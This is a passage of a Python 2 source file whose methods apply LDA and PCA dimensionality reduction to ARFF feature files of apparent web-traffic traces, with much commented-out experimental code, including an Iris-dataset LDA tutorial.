filepath_or_buffer='https://archive.ics.uci.edu/ml/machine-learning-databases/iris/iris.data',
header=None,
sep=',',
)
df.columns = [l for i,l in sorted(feature_dict.items())] + ['class label']
df.dropna(how="all", inplace=True) # to drop the empty line at file-end
#print df.tail()
X = df[[0,1,2,3]].values
y = df['class label'].values
#print y
#print X
preprocessing.scale(X, axis=0, with_mean=True, with_std=True, copy=False)
enc = LabelEncoder()
label_encoder = enc.fit(y)
y = label_encoder.transform(y) + 1
#print y
label_dict = {1: 'Setosa', 2: 'Versicolor', 3:'Virginica'}
sklearn_lda = LDA(n_components=2)
X_lda_sklearn = sklearn_lda.fit_transform(X, y)
print X_lda_sklearn
#print y
Utils.plot_scikit_lda(X_lda_sklearn, y, label_dict, 'LDA - scikit-learn 15.2')
#X = np.array([[-1, -1, 1], [-2, -1, 5], [-3, -2, 6], [1, 1, 7], [2, 1, 8], [3, 2, 5]])
#instancesList = [[-1, -1, 1], [-2, -1, 5], [-3, -2, 6], [1, 1, 7], [2, 1, 8], [3, 2, 5]]
print files
instancesList = []
instancesList.append([-1, -1, 1])
instancesList.append([-2, -1, 5])
instancesList.append([-3, -2, 6])
instancesList.append([1, 1, 7])
instancesList.append([2, 1, 8])
instancesList.append([3, 2, 5])
print instancesList
X = np.array(instancesList)
pca = PCA(n_components=2)
sklearn_transf = pca.fit(X)
print sklearn_transf.components_
print sklearn_transf.components_[0,0]
print ""
print "X", X[0].T
print "EigVec", sklearn_transf.components_[0]
print X[0].T.dot(sklearn_transf.components_[0])
#print(pca.explained_variance_ratio_)
'''
trainList = Utils.readFile1(files[0])
testList = Utils.readFile1(files[1])
instancesList = []
classes = ""
y = []
for line in trainList:
if line[0] == '@':
if line.lower().startswith("@attribute class"):
classes = line.split(" ")[2]
else:
#instancesList.append(float(line.split(",")[:-1]))
instancesList.append([float(i) for i in line.split(",")[:-1]])
y.append(line.split(",")[-1])
for line in testList:
if line[0] != '@':
instancesList.append([float(i) for i in line.split(",")[:-1]])
y.append(line.split(",")[-1])
#print instancesList
X = np.array(instancesList)
y = np.array(y)
#print X
#X = (X - np.mean(X, 0)) / np.std(X, 0) # scale data before CPA
preprocessing.scale(X, axis=0, with_mean=True, with_std=True, copy=False)
sklearn_lda = LDA(solver='svd',n_components=config.n_components_LDA)
#sklearn_lda = LDA(solver='eigen',n_components=config.n_components_LDA)
X_lda_sklearn = sklearn_lda.fit_transform(X, y)
print X_lda_sklearn
print y
#config.n_components_PCA = 39
#pca = PCA(n_components=config.n_components_PCA)
#sklearn_transf = pca.fit(X)
#print "EigVec", sklearn_transf.components_[0]
#print sklearn_transf
#print pca.explained_variance_
#print pca.explained_variance_ratio_
#print ('explained variance (first %d components): %.2f'%(config.n_components_PCA, sum(pca.explained_variance_ratio_)))
newTrainList = []
newTestList = []
newTrainList.append('@RELATION sites')
newTestList.append('@RELATION sites')
for i in range(0,config.n_components_LDA):
newTrainList.append('@ATTRIBUTE k'+ str(i+1) +' real')
newTestList.append('@ATTRIBUTE k'+ str(i+1) +' real')
newTrainList.append('@ATTRIBUTE class '+classes)
newTestList.append('@ATTRIBUTE class '+classes)
newTrainList.append('@DATA')
newTestList.append('@DATA')
ctr = 0
#for item in X_lda_sklearn:
for i in xrange(len(X_lda_sklearn)):
#print X_lda_sklearn[i][0]
if ctr < config.BUCKET_SIZE * config.NUM_TRAINING_TRACES:
newTrainList.append(','.join([str(k) for k in X_lda_sklearn[i]]) + ',' + y[i])
else:
newTestList.append(','.join([str(k) for k in X_lda_sklearn[i]]) + ',' + y[i])
ctr = ctr + 1
'''
for line in trainList:
if line[0] != '@':
webpage=line.split(",")[-1]
webpageInstance=[]
for j in range(0,config.n_components_PCA):
webpageInstance.append(np.array([float(i) for i in line.split(",")[:-1]]).T.dot(sklearn_transf.components_[j])) # dot product for each instance and the eigen vector associated with highest eigen values
newTrainList.append(','.join([str(k) for k in webpageInstance]) + ',' + webpage)
for line in testList:
if line[0] != '@':
webpage=line.split(",")[-1]
webpageInstance=[]
for j in range(0,config.n_components_PCA):
webpageInstance.append(np.array([float(i) for i in line.split(",")[:-1]]).T.dot(sklearn_transf.components_[j]))
newTestList.append(','.join([str(k) for k in webpageInstance]) + ',' + webpage)
'''
# writing the new training file (with lower dimensions)
fnewTrainName = files[0][:-5]+'_LDA_'+str(config.n_components_LDA)+'.arff'
fnewTrain = open(fnewTrainName, 'w')
for item in newTrainList:
fnewTrain.write(item+'\n')
fnewTrain.close()
# writing the new testing file (with lower dimensions)
fnewTestName = files[1][:-5]+'_LDA_'+str(config.n_components_LDA)+'.arff'
fnewTest = open(fnewTestName, 'w')
for item in newTestList:
fnewTest.write(item+'\n')
fnewTest.close()
return [fnewTrainName,fnewTestName]
#'''
@staticmethod
def calcLDA2(files): # Linear (Multi Class) Discriminant Analysis
'''
X = np.array([[-1, -1], [-2, -1], [-3, -2], [1, 1], [2, 1], [3, 2]])
#y = np.array([1, 1, 1, 2, 2, 2])
y = np.array(['aa', 'aa', 'aa', 'bc', 'bc', 'bc'])
clf = LDA()
print clf.fit(X, y)
print(clf.predict([[-0.8, -1]]))
feature_dict = {i:label for i,label in zip(
range(4),
('sepal length in cm',
'sepal width in cm',
'petal length in cm',
'petal width in cm', ))}
df = pd.io.parsers.read_csv(
filepath_or_buffer='https://archive.ics.uci.edu/ml/machine-learning-databases/iris/iris.data',
header=None,
sep=',',
)
df.columns = [l for i,l in sorted(feature_dict.items())] + ['class label']
df.dropna(how="all", inplace=True) # to drop the empty line at file-end
#print df.tail()
X = df[[0,1,2,3]].values
y = df['class label'].values
#print y
#print X
preprocessing.scale(X, axis=0, with_mean=True, with_std=True, copy=False)
enc = LabelEncoder()
label_encoder = enc.fit(y)
y = label_encoder.transform(y) + 1
#print y
label_dict = {1: 'Setosa', 2: 'Versicolor', 3:'Virginica'}
sklearn_lda = LDA(n_components=2)
X_lda_sklearn = sklearn_lda.fit_transform(X, y)
print X_lda_sklearn
#print y
Utils.plot_scikit_lda(X_lda_sklearn, y, label_dict, 'LDA - scikit-learn 15.2')
#X = np.array([[-1, -1, 1], [-2, -1, 5], [-3, -2, 6], [1, 1, 7], [2, 1, 8], [3, 2, 5]])
#instancesList = [[-1, -1, 1], [-2, -1, 5], [-3, -2, 6], [1, 1, 7], [2, 1, 8], [3, 2, 5]]
print files
instancesList = []
instancesList.append([-1, -1, 1])
instancesList.append([-2, -1, 5])
instancesList.append([-3, -2, 6])
instancesList.append([1, 1, 7])
instancesList.append([2, 1, 8])
instancesList.append([3, 2, 5])
print instancesList
X = np.array(instancesList)
pca = PCA(n_components=2)
sklearn_transf = pca.fit(X)
print sklearn_transf.components_
print sklearn_transf.components_[0,0]
print ""
print "X", X[0].T
print "EigVec", sklearn_transf.components_[0]
print X[0].T.dot(sklearn_transf.components_[0])
#print(pca.explained_variance_ratio_)
'''
'''
trainList = Utils.readFile1(files[0])
testList = Utils.readFile1(files[1])
'''
trainList = Utils.readFile1(files[0])
testList = Utils.readFile1(files[1])
trainInstancesList = []
testInstancesList = []
classes = ""
yTrain = []
yTest = []
for line in trainList:
if line[0] == '@':
if line.lower().startswith("@attribute class"):
classes = line.split(" ")[2]
else:
#instancesList.append(float(line.split(",")[:-1]))
trainInstancesList.append([float(i) for i in line.split(",")[:-1]])
yTrain.append(line.split(",")[-1])
for line in testList:
if line[0] != '@':
testInstancesList.append([float(i) for i in line.split(",")[:-1]])
yTest.append(line.split(",")[-1])
#print instancesList
X = np.array(trainInstancesList)
y = np.array(yTrain)
#print X
#X = (X - np.mean(X, 0)) / np.std(X, 0) # scale data before CPA
preprocessing.scale(X, axis=0, with_mean=True, with_std=True, copy=False)
sklearn_lda = LDA(solver='svd',n_components=config.n_components_LDA)
#sklearn_lda = LDA(solver='eigen',n_components=config.n_components_LDA)
X_lda_sklearn = sklearn_lda.fit_transform(X, y)
#print X_lda_sklearn
#print y
lda_sklearn = sklearn_lda.fit(X, y)
print lda_sklearn.coef_[0]
#print "score " + str(sklearn_lda.score(testInstancesList,yTest))
#print "predict " + str(sklearn_lda.predict(testInstancesList))
#print testInstancesList
#print yTest
#config.n_components_PCA = 39
#pca = PCA(n_components=config.n_components_PCA)
#sklearn_transf = pca.fit(X)
#print "EigVec", sklearn_transf.components_[0]
#print sklearn_transf
#print pca.explained_variance_
#print pca.explained_variance_ratio_
#print ('explained variance (first %d components): %.2f'%(config.n_components_PCA, sum(pca.explained_variance_ratio_)))
newTrainList = []
newTestList = []
newTrainList.append('@RELATION sites')
newTestList.append('@RELATION sites')
for i in range(0,config.n_components_LDA):
newTrainList.append('@ATTRIBUTE k'+ str(i+1) +' real')
newTestList.append('@ATTRIBUTE k'+ str(i+1) +' real')
newTrainList.append('@ATTRIBUTE class '+classes)
newTestList.append('@ATTRIBUTE class '+classes)
newTrainList.append('@DATA')
newTestList.append('@DATA')
ctr = 0
'''
for i in xrange(len(X_lda_sklearn)):
#print X_lda_sklearn[i][0]
if ctr < config.BUCKET_SIZE * config.NUM_TRAINING_TRACES:
newTrainList.append(','.join([str(k) for k in X_lda_sklearn[i]]) + ',' + y[i])
else:
newTestList.append(','.join([str(k) for k in X_lda_sklearn[i]]) + ',' + y[i])
ctr = ctr + 1
'''
for line in trainList:
if line[0] != '@':
webpage=line.split(",")[-1]
webpageInstance=[]
for j in range(0,config.n_components_LDA):
webpageInstance.append(np.array([float(i) for i in line.split(",")[:-1]]).T.dot(lda_sklearn.coef_[j])) # dot product for each instance and the eigen vector associated with highest eigen values
newTrainList.append(','.join([str(k) for k in webpageInstance]) + ',' + webpage)
'''
for line in testList:
if line[0] != '@':
webpage=line.split(",")[-1]
webpageInstance=[]
for j in range(0,config.n_components_LDA):
webpageInstance.append(np.array([float(i) for i in line.split(",")[:-1]]).T.dot(lda_sklearn.coef_[j]))
newTestList.append(','.join([str(k) for k in webpageInstance]) + ',' + webpage)
'''
testX = np.array(testInstancesList)
preprocessing.scale(testX, axis=0, with_mean=True, with_std=True, copy=False)
for i in xrange(len(testX)):
webpageInstance=[]
for j in range(0,config.n_components_LDA):
webpageInstance.append(testX[i].T.dot(lda_sklearn.coef_[j]))
newTestList.append(','.join([str(k) for k in webpageInstance]) + ',' + yTest[i])
# writing the new training file (with lower dimensions)
fnewTrainName = files[0][:-5]+'_LDA_'+str(config.n_components_LDA)+'.arff'
fnewTrain = open(fnewTrainName, 'w')
for item in newTrainList:
fnewTrain.write(item+'\n')
fnewTrain.close()
# writing the new testing file (with lower dimensions)
fnewTestName = files[1][:-5]+'_LDA_'+str(config.n_components_LDA)+'.arff'
fnewTest = open(fnewTestName, 'w')
for item in newTestList:
fnewTest.write(item+'\n')
fnewTest.close()
return [fnewTrainName,fnewTestName]
@staticmethod
def calcLDA3(files): # Linear (Multi Class) Discriminant Analysis
trainList = Utils.readFile1(files[0])
testList = Utils.readFile1(files[1])
instancesList = []
classes = ""
labels = []
for line in trainList:
if line[0] == '@':
if line.lower().startswith("@attribute class"):
classes = line.split(" ")[2]
else:
#instancesList.append(float(line.split(",")[:-1]))
instancesList.append([float(i) for i in line.split(",")[:-1]])
labels.append(line.split(",")[-1])
for line in testList:
if line[0] != '@':
instancesList.append([float(i) for i in line.split(",")[:-1]])
labels.append(line.split(",")[-1])
X = np.array(instancesList)
y = np.array(labels)
#X = (X - np.mean(X, 0)) / np.std(X, 0) # scale data before CPA
#print X[0:1,0:1]
preprocessing.scale(X, axis=0, with_mean=True, with_std=True, copy=False)
#print X[0:1,0:1]
sklearn_lda = LDA(solver='svd',n_components=config.n_components_LDA)
#sklearn_lda = LDA(solver='eigen',n_components=config.n_components_LDA)
#X_lda_sklearn = sklearn_lda.fit_transform(X[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES], y[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES])
lda_sklearn = sklearn_lda.fit(X[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES], y[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES])
transformedX = sklearn_lda.fit_transform(X[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES], y[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES])
print transformedX
#print lda_sklearn.coef_[0] # first eigen vector
##print y
#config.n_components_PCA = 39
#pca = PCA(n_components=config.n_components_PCA)
#sklearn_transf = pca.fit(X)
#print "EigVec", sklearn_transf.components_[0]
#print sklearn_transf
#print pca.explained_variance_
#print pca.explained_variance_ratio_
#print ('explained variance (first %d components): %.2f'%(config.n_components_PCA, sum(pca.explained_variance_ratio_)))
newTrainList = []
newTestList = []
newTrainList.append('@RELATION sites')
newTestList.append('@RELATION sites')
for i in range(0,config.n_components_LDA):
newTrainList.append('@ATTRIBUTE k'+ str(i+1) +' real')
newTestList.append('@ATTRIBUTE k'+ str(i+1) +' real')
newTrainList.append('@ATTRIBUTE class '+classes)
newTestList.append('@ATTRIBUTE class '+classes)
newTrainList.append('@DATA')
newTestList.append('@DATA')
ctr = 0
#for item in X_lda_sklearn:
for i in xrange(len(X)):
webpageInstance=[]
for j in range(0,config.n_components_LDA):
webpageInstance.append(X[i].T.dot(lda_sklearn.coef_[j]))
print webpageInstance
if ctr < config.BUCKET_SIZE * config.NUM_TRAINING_TRACES:
newTrainList.append(','.join([str(k) for k in webpageInstance]) + ',' + y[i])
else:
newTestList.append(','.join([str(k) for k in webpageInstance]) + ',' + y[i])
ctr = ctr + 1
'''
for i in xrange(len(X_lda_sklearn)):
#print X_lda_sklearn[i][0]
if ctr < config.BUCKET_SIZE * config.NUM_TRAINING_TRACES:
newTrainList.append(','.join([str(k) for k in X_lda_sklearn[i]]) + ',' + y[i])
else:
newTestList.append(','.join([str(k) for k in X_lda_sklearn[i]]) + ',' + y[i])
ctr = ctr + 1
for line in trainList:
if line[0] != '@':
webpage=line.split(",")[-1]
for j in range(0,config.n_components_LDA):
webpageInstance.append(np.array([float(i) for i in line.split(",")[:-1]]).T.dot(lda_sklearn.coef_[j])) # dot product for each instance and the eigen vector associated with highest eigen values
newTrainList.append(','.join([str(k) for k in webpageInstance]) + ',' + webpage)
for line in testList:
if line[0] != '@':
webpage=line.split(",")[-1]
webpageInstance=[]
for j in range(0,config.n_components_LDA):
webpageInstance.append(np.array([float(i) for i in line.split(",")[:-1]]).T.dot(lda_sklearn.coef_[j]))
newTestList.append(','.join([str(k) for k in webpageInstance]) + ',' + webpage)
'''
# writing the new training file (with lower dimensions)
fnewTrainName = files[0][:-5]+'_LDA_'+str(config.n_components_LDA)+'.arff'
fnewTrain = open(fnewTrainName, 'w')
for item in newTrainList:
fnewTrain.write(item+'\n')
fnewTrain.close()
# writing the new testing file (with lower dimensions)
fnewTestName = files[1][:-5]+'_LDA_'+str(config.n_components_LDA)+'.arff'
fnewTest = open(fnewTestName, 'w')
for item in newTestList:
fnewTest.write(item+'\n')
fnewTest.close()
return [fnewTrainName,fnewTestName]
@staticmethod
def calcLDA4(files): # Linear (Multi Class) Discriminant Analysis
#trainList = Utils.readFile1(files[0])
#testList = Utils.readFile1(files[1])
trainList = Utils.readFile(files[0])
testList = Utils.readFile(files[1])
instancesList = []
classes = ""
labels = []
for line in trainList:
if line[0] == '@':
if line.lower().startswith("@attribute class"):
classes = line.split(" ")[2]
else:
#instancesList.append(float(line.split(",")[:-1]))
instancesList.append([float(i) for i in line.split(",")[:-1]])
labels.append(line.split(",")[-1])
for line in testList:
if line[0] != '@':
instancesList.append([float(i) for i in line.split(",")[:-1]])
labels.append(line.split(",")[-1])
X = np.array(instancesList)
y = np.array(labels)
#X = (X - np.mean(X, 0)) / np.std(X, 0) # scale data before CPA
#print X[0:1,0:1]
preprocessing.scale(X, axis=0, with_mean=True, with_std=True, copy=False)
#print X
sklearn_lda = LDA(solver='svd',n_components=config.n_components_LDA)
#sklearn_lda = LDA(solver='eigen',n_components=config.n_components_LDA)
#X_lda_sklearn = sklearn_lda.fit_transform(X[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES], y[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES])
lda_sklearn = sklearn_lda.fit(X[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES], y[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES])
#transformedX = sklearn_lda.fit_transform(X[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES], y[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES])
#print transformedX
X_train_lda_sklearn = lda_sklearn.transform(X[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES])
X_test_lda_sklearn = lda_sklearn.transform(X[config.BUCKET_SIZE * config.NUM_TRAINING_TRACES:])
newTrainList = []
newTestList = []
newTrainList.append('@RELATION sites')
newTestList.append('@RELATION sites')
for i in range(0,config.n_components_LDA):
newTrainList.append('@ATTRIBUTE k'+ str(i+1) +' real')
newTestList.append('@ATTRIBUTE k'+ str(i+1) +' real')
newTrainList.append('@ATTRIBUTE class '+classes)
newTestList.append('@ATTRIBUTE class '+classes)
newTrainList.append('@DATA')
newTestList.append('@DATA')
#print X_train_lda_sklearn
for i in xrange(len(X_train_lda_sklearn)):
#print X_train_lda_sklearn[i]
newTrainList.append(','.join([str(k) for k in X_train_lda_sklearn[i]]) + ',' + y[i])
for i in xrange(len(X_test_lda_sklearn)):
newTestList.append(','.join([str(k) for k in X_test_lda_sklearn[i]]) + ',' + y[i+len(X_train_lda_sklearn)])
# writing the new training file (with lower dimensions)
fnewTrainName = files[0][:-5]+'_LDA_'+str(config.n_components_LDA)+'.arff'
fnewTrain = open(fnewTrainName, 'w')
for item in newTrainList:
fnewTrain.write(item+'\n')
fnewTrain.close()
# writing the new testing file (with lower dimensions)
fnewTestName = files[1][:-5]+'_LDA_'+str(config.n_components_LDA)+'.arff'
fnewTest = open(fnewTestName, 'w')
for item in newTestList:
fnewTest.write(item+'\n')
fnewTest.close()
return [fnewTrainName,fnewTestName]
# @staticmethod
# def calcLDA5(files): # Linear (Multi Class) Discriminant Analysis
#
# feature_dict = {i:label for i,label in zip(
# range(4),
# ('sepal length in cm',
# 'sepal width in cm',
# 'petal length in cm',
# 'petal width in cm', ))}
#
#
#
# df = pd.io.parsers.read_csv(
# filepath_or_buffer='https://archive.ics.uci.edu/ml/machine-learning-databases/iris/iris.data',
# header=None,
# sep=',',
# )
# df.columns = [l for i,l in sorted(feature_dict.items())] + ['class label']
# df.dropna(how="all", inplace=True) # to drop the empty line at file-end
#
# #print df.tail()
#
#
#
#
# X = df[[0,1,2,3]].values
# y = df['class label'].values
#
# print y
# print X
#
#
# enc = LabelEncoder()
# label_encoder = enc.fit(y)
# y = label_encoder.transform(y) + 1
#
# print y
#
# label_dict = {1: 'Setosa', 2: 'Versicolor', 3:'Virginica'}
#
# preprocessing.scale(X, axis=0, with_mean=True, with_std=True, copy=False)
#
# np.set_printoptions(precision=4)
#
# mean_vectors = [] # For each class
# for cl in range(1,4): # three classes
# mean_vectors.append(np.mean(X[y==cl], axis=0))
# print('Mean Vector class %s: %s\n' %(cl, mean_vectors[cl-1]))
#
# # Within-class scatter matrix Sw
# S_W = np.zeros((4,4)) # square matrix of number of features
# for cl,mv in zip(range(1,4), mean_vectors):
# class_sc_mat = np.zeros((4,4)) # scatter matrix for every class
# for row in X[y == cl]:
# row, mv = row.reshape(4,1), mv.reshape(4,1) # make column vectors
# class_sc_mat += (row-mv).dot((row-mv).T)
# S_W += class_sc_mat # sum class scatter matrices
# print('within-class Scatter Matrix:\n', S_W)
#
# # Between-class scatter matrix Sb
# overall_mean = np.mean(X, axis=0)
#
# S_B = np.zeros((4,4)) # square matrix of number of features
# for i,mean_vec in enumerate(mean_vectors):
# n = X[y==i+1,:].shape[0] # number of instances for each class or group
# mean_vec = mean_vec.reshape(4,1) # make column vector
# overall_mean = overall_mean.reshape(4,1) # make column vector
# S_B += n * (mean_vec - overall_mean).dot((mean_vec - overall_mean).T)
#
# print('between-class Scatter Matrix:\n', S_B)
#
# #Solving the generalized eigenvalue problem for the matrix SW-1SB
# eig_vals, eig_vecs = np.linalg.eig(np.linalg.inv(S_W).dot(S_B))
#
# for i in range(len(eig_vals)):
# eigvec_sc = eig_vecs[:,i].reshape(4,1)
# print('\nEigenvector {}: \n{}'.format(i+1, eigvec_sc.real))
# print('Eigenvalue {:}: {:.2e}'.format(i+1, eig_vals[i].real))
#
# #Checking the eigenvector-eigenvalue calculation
# for i in range(len(eig_vals)):
# eigv = eig_vecs[:,i].reshape(4,1)
# np.testing.assert_array_almost_equal(np.linalg.inv(S_W).dot(S_B).dot(eigv),
# eig_vals[i] * eigv,
# decimal=6, err_msg='', verbose=True)
# print('ok')
#
#
# #Sorting the eigenvectors by decreasing eigenvalues
# # Make a list of (eigenvalue, eigenvector) tuples
# eig_pairs = [(np.abs(eig_vals[i]), eig_vecs[:,i]) for i in range(len(eig_vals))]
#
# # Sort the (eigenvalue, eigenvector) tuples from high to low
# eig_pairs = sorted(eig_pairs, key=lambda k: k[0], reverse=True)
#
# # Visually confirm that the list is correctly sorted by decreasing eigenvalues
#
# print('Eigenvalues in decreasing order:\n')
# for i in eig_pairs:
# print(i[0])
#
#
# print('Variance explained:\n')
# eigv_sum = sum(eig_vals)
# for i,j in enumerate(eig_pairs):
# print('eigenvalue {0:}: {1:.2%}'.format(i+1, (j[0]/eigv_sum).real))
#
# W = np.hstack((eig_pairs[0][1].reshape(4,1), eig_pairs[1][1].reshape(4,1)))
# print('Matrix W:\n', W.real)
#
# #Transforming the samples onto the new subspace
# X_lda = X.dot(W)
#
# print X_lda
#
# '''
#
#
#
# #trainList = Utils.readFile1(files[0])
# #testList = Utils.readFile1(files[1])
# trainList = Utils.readFile(files[0])
# testList = Utils.readFile(files[1])
#
# instancesList = []
# classes = ""
# labels = []
# for line in trainList:
# if line[0] == '@':
# if line.lower().startswith("@attribute class"):
# classes = line.split(" ")[2]
# else:
# #instancesList.append(float(line.split(",")[:-1]))
# instancesList.append([float(i) for i in line.split(",")[:-1]])
# labels.append(line.split(",")[-1])
#
# for line in testList:
# if line[0] != '@':
# instancesList.append([float(i) for i in line.split(",")[:-1]])
# labels.append(line.split(",")[-1])
#
# X = np.array(instancesList)
# y = np.array(labels)
#
# #X = (X - np.mean(X, 0)) / np.std(X, 0) # scale data before CPA
# #print X[0:1,0:1]
# preprocessing.scale(X, axis=0, with_mean=True, with_std=True, copy=False)
# #print X
# sklearn_lda = LDA(solver='svd',n_components=config.n_components_LDA)
# #sklearn_lda = LDA(solver='eigen',n_components=config.n_components_LDA)
# #X_lda_sklearn = sklearn_lda.fit_transform(X[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES], y[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES])
# lda_sklearn = sklearn_lda.fit(X[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES], y[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES])
#
#
# #transformedX = sklearn_lda.fit_transform(X[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES], y[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES])
# #print transformedX
#
# X_train_lda_sklearn = lda_sklearn.transform(X[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES])
# X_test_lda_sklearn = lda_sklearn.transform(X[config.BUCKET_SIZE * config.NUM_TRAINING_TRACES:])
#
# newTrainList = []
# newTestList = []
#
# newTrainList.append('@RELATION sites')
# newTestList.append('@RELATION sites')
#
# for i in range(0,config.n_components_LDA):
# newTrainList.append('@ATTRIBUTE k'+ str(i+1) +' real')
# newTestList.append('@ATTRIBUTE k'+ str(i+1) +' real')
#
# newTrainList.append('@ATTRIBUTE class '+classes)
# newTestList.append('@ATTRIBUTE class '+classes)
#
# newTrainList.append('@DATA')
# newTestList.append('@DATA')
#
# #print X_train_lda_sklearn
#
# for i in xrange(len(X_train_lda_sklearn)):
# #print X_train_lda_sklearn[i]
# newTrainList.append(','.join([str(k) for k in X_train_lda_sklearn[i]]) + ',' + y[i])
#
# for i in xrange(len(X_test_lda_sklearn)):
# newTestList.append(','.join([str(k) for k in X_test_lda_sklearn[i]]) + ',' + y[i+len(X_train_lda_sklearn)])
#
# # writing the new training file (with lower dimensions)
# fnewTrainName = files[0][:-5]+'_LDA_'+str(config.n_components_LDA)+'.arff'
# fnewTrain = open(fnewTrainName, 'w')
# for item in newTrainList:
# fnewTrain.write(item+'\n')
#
# fnewTrain.close()
#
# # writing the new testing file (with lower dimensions)
# fnewTestName = files[1][:-5]+'_LDA_'+str(config.n_components_LDA)+'.arff'
# fnewTest = open(fnewTestName, 'w')
# for item in newTestList:
# fnewTest.write(item+'\n')
#
# fnewTest.close()
#
# return [fnewTrainName,fnewTestName]
# '''
#
@staticmethod
def calcLDA6(files): # Linear (Multi Class) Discriminant Analysis
'''
feature_dict = {i:label for i,label in zip(
range(4),
('sepal length in cm',
'sepal width in cm',
'petal length in cm',
'petal width in cm', ))}
df = pd.io.parsers.read_csv(
filepath_or_buffer='https://archive.ics.uci.edu/ml/machine-learning-databases/iris/iris.data',
header=None,
sep=',',
)
df.columns = [l for i,l in sorted(feature_dict.items())] + ['class label']
df.dropna(how="all", inplace=True) # to drop the empty line at file-end
#print df.tail()
X = df[[0,1,2,3]].values
y = df['class label'].values
'''
trainList = Utils.readFile1(files[0])
testList = Utils.readFile1(files[1])
instancesList = []
classes = ""
labels = []
for line in trainList:
if line[0] == '@':
if line.lower().startswith("@attribute class"):
classes = line.split(" ")[2]
else:
#instancesList.append(float(line.split(",")[:-1]))
instancesList.append([float(i) for i in line.split(",")[:-1]])
labels.append(line.split(",")[-1])
for line in testList:
if line[0] != '@':
instancesList.append([float(i) for i in line.split(",")[:-1]])
labels.append(line.split(",")[-1])
X = np.array(instancesList)
y = np.array(labels)
#print X
#print y
std_vectors = np.std(X, axis=0)
print std_vectors
enc = LabelEncoder()
label_encoder = enc.fit(y)
y = label_encoder.transform(y) + 1
#print y
#label_dict = {1: 'Setosa', 2: 'Versicolor', 3:'Virginica'}
preprocessing.scale(X, axis=0, with_mean=True, with_std=True, copy=False)
#np.set_printoptions(precision=4)
mean_vectors = [] # For each class
for cl in range(1,config.BUCKET_SIZE+1): # number of classes
mean_vectors.append(np.mean(X[y==cl], axis=0))
print('Mean Vector class %s: %s\n' %(cl, mean_vectors[cl-1]))
# Within-class scatter matrix Sw
S_W = np.zeros((len(instancesList[0]),len(instancesList[0]))) # square matrix of number of features
for cl,mv in zip(range(1,config.BUCKET_SIZE+1), mean_vectors):
class_sc_mat = np.zeros((len(instancesList[0]),len(instancesList[0]))) # scatter matrix for every class
for row in X[y == cl]:
row, mv = row.reshape(len(instancesList[0]),1), mv.reshape(len(instancesList[0]),1) # make column vectors
class_sc_mat += (row-mv).dot((row-mv).T)
S_W += class_sc_mat # sum class scatter matrices
print('within-class Scatter Matrix:\n', S_W)
# Between-class scatter matrix Sb
overall_mean = np.mean(X, axis=0)
S_B = np.zeros((len(instancesList[0]),len(instancesList[0]))) # square matrix of number of features
for i,mean_vec in enumerate(mean_vectors):
n = X[y==i+1,:].shape[0] # number of instances for each class or group
mean_vec = mean_vec.reshape(len(instancesList[0]),1) # make column vector
overall_mean = overall_mean.reshape(len(instancesList[0]),1) # make column vector
S_B += n * (mean_vec - overall_mean).dot((mean_vec - overall_mean).T)
print('between-class Scatter Matrix:\n', S_B)
#print S_W
#print np.linalg.inv(S_W) # problem here as there is a det that is zero
#Solving the generalized eigenvalue problem for the matrix SW-1SB
eig_vals, eig_vecs = np.linalg.eig(np.linalg.inv(S_W).dot(S_B))
for i in range(len(eig_vals)):
eigvec_sc = eig_vecs[:,i].reshape(len(instancesList[0]),1)
print('\nEigenvector {}: \n{}'.format(i+1, eigvec_sc.real))
print('Eigenvalue {:}: {:.2e}'.format(i+1, eig_vals[i].real))
#Checking the eigenvector-eigenvalue calculation
for i in range(len(eig_vals)):
eigv = eig_vecs[:,i].reshape(len(instancesList[0]),1)
np.testing.assert_array_almost_equal(np.linalg.inv(S_W).dot(S_B).dot(eigv),
eig_vals[i] * eigv,
decimal=6, err_msg='', verbose=True)
print('ok')
#Sorting the eigenvectors by decreasing eigenvalues
# Make a list of (eigenvalue, eigenvector) tuples
eig_pairs = [(np.abs(eig_vals[i]), eig_vecs[:,i]) for i in range(len(eig_vals))]
# Sort the (eigenvalue, eigenvector) tuples from high to low
eig_pairs = sorted(eig_pairs, key=lambda k: k[0], reverse=True)
# Visually confirm that the list is correctly sorted by decreasing eigenvalues
print('Eigenvalues in decreasing order:\n')
for i in eig_pairs:
print(i[0])
print('Variance explained:\n')
eigv_sum = sum(eig_vals)
for i,j in enumerate(eig_pairs):
print('eigenvalue {0:}: {1:.2%}'.format(i+1, (j[0]/eigv_sum).real))
W = np.hstack((eig_pairs[0][1].reshape(len(instancesList[0]),1), eig_pairs[1][1].reshape(len(instancesList[0]),1)))
print('Matrix W:\n', W.real)
#Transforming the samples onto the new subspace
X_lda = X.dot(W)
print X_lda
'''
#trainList = Utils.readFile1(files[0])
#testList = Utils.readFile1(files[1])
trainList = Utils.readFile(files[0])
testList = Utils.readFile(files[1])
instancesList = []
classes = ""
labels = []
for line in trainList:
if line[0] == '@':
if line.lower().startswith("@attribute class"):
classes = line.split(" ")[2]
else:
#instancesList.append(float(line.split(",")[:-1]))
instancesList.append([float(i) for i in line.split(",")[:-1]])
labels.append(line.split(",")[-1])
for line in testList:
if line[0] != '@':
instancesList.append([float(i) for i in line.split(",")[:-1]])
labels.append(line.split(",")[-1])
X = np.array(instancesList)
y = np.array(labels)
#X = (X - np.mean(X, 0)) / np.std(X, 0) # scale data before CPA
#print X[0:1,0:1]
preprocessing.scale(X, axis=0, with_mean=True, with_std=True, copy=False)
#print X
